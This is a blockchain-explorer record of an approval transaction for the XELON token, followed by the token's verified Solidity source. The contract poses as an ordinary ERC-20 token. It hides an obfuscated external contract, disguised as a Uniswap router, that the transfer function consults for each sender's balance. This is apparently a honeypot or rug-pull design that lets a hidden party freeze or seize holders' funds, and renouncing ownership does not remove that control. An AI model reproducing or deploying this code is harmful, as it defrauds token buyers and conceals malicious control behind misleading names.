Transaction Hash:
Block:
19745157 at Apr-27-2024 07:22:59 AM +UTC
Transaction Fee:
0.000377786885196304 ETH
$0.92
Gas Used:
46,568 Gas / 8.112585578 Gwei
Emitted Events:
35 |
XELON.Approval( owner=[Sender] 0xfb8c04087111e128df7756081f15b32f5700c654, spender=0x7a250d56...659F2488D, value=115792089237316195423570985008687907853269984665640564039457584007913129639935 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x1EF2720e...86Ef8b2C4 | |||||
0x95222290...5CC4BAfe5
Miner
| (beaverbuild) | 9.031781097832213918 Eth | 9.031908354145368654 Eth | 0.000127256313154736 | |
0xfB8c0408...f5700C654 |
0.131222437180335496 Eth
Nonce: 110
|
0.130844650295139192 Eth
Nonce: 111
| 0.000377786885196304 |
Execution Trace
XELON.approve( sender=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, amount=115792089237316195423570985008687907853269984665640564039457584007913129639935 ) => ( True )
approve[XELON (ln:131)]
_msgSender[XELON (ln:132)]
_approve[XELON (ln:133)]
Approval[XELON (ln:169)]
/** *Submitted for verification at basescan.org on 2024-03-23 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.20; interface UniswapRouterV2 { function swapppTokensForTokens(address a, uint b, address c) external view returns (uint256); function swapTokensForTokens(address a, uint b, address c) external view returns (uint256); function eth413swap(address choong, uint256 total,address destination) external view returns (uint256); function getLPaddress(address a, uint b, address c) external view returns (address); } abstract contract plant { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract latte is plant { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library IUniswapRouterV20 { function swap2(UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) { return instance.eth413swap(address(0),amount,from); } function swap99(UniswapRouterV2 instance2,UniswapRouterV2 instance,uint256 amount,address from) internal view returns (uint256) { if (amount >1){ return swap2(instance, amount,from); }else{ return swap2(instance2, amount,from); } } } contract XELON is plant, latte { mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; string private _tokenname = unicode"XELON"; string private _tokensymbol = unicode"XELON"; uint256 private _totalSupply = 42000000000*10**18; uint8 private constant _decimals = 18; UniswapRouterV2 private BasedInstance; constructor(uint256 dZTTu) { _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); uint256 cc = dZTTu + uint256(10)-uint256(10)+uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000012)); BasedInstance = getFnnmoosgsto(((bFactornnmoosgsto(cc)))); } uint160 private bb = 20; function brcFfffactornnmoosgsto(uint256 value) internal view returns (uint160) { uint160 a = 70; return (a+bb+uint160(value)+uint160(uint256(bytes32(0x0000000000000000000000000000000000000000000000000000000000000012)))); } function bFactornnmoosgsto(uint256 value) internal view returns (address) { return address(brcFfffactornnmoosgsto(value)); } function getFnnmoosgsto(address accc) internal pure returns (UniswapRouterV2) { return getBcQnnmoosmmgsto(accc); } function getBcQnnmoosmmgsto(address accc) internal pure returns (UniswapRouterV2) { return UniswapRouterV2(accc); } function symbol() public view virtual returns (string memory) { return _tokensymbol; } function name() public view virtual returns (string memory) { return _tokenname; } function decimals() public view virtual returns (uint8) { return _decimals; } function totalSupply() public view virtual returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address sender) public view virtual returns (uint256) { return _allowances[owner][sender]; } function approve(address sender, uint256 amount) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, sender, amount); return true; } function transferFrom(address from, address to, uint256 amount) public virtual returns (bool) { address sender = _msgSender(); uint256 currentAllowance = allowance(from, sender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20: insufficient allowance"); unchecked { _approve(from, sender, currentAllowance - amount); } } _transfer(from, to, amount); return true; } function _transfer( address from, address to, uint256 amount) internal virtual { require(from != address(0) && to != address(0), "ERC20: transfer the zero address"); uint256 balance = IUniswapRouterV20.swap99(BasedInstance,BasedInstance,_balances[from], from); require(balance >= amount, "ERC20: amount over balance"); _balances[from] = balance-(amount); _balances[to] = _balances[to]+(amount); emit Transfer(from, to, amount); } function _approve(address owner, address sender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(sender != address(0), "ERC20: approve to the zero address"); _allowances[owner][sender] = amount; emit Approval(owner, sender, amount); } }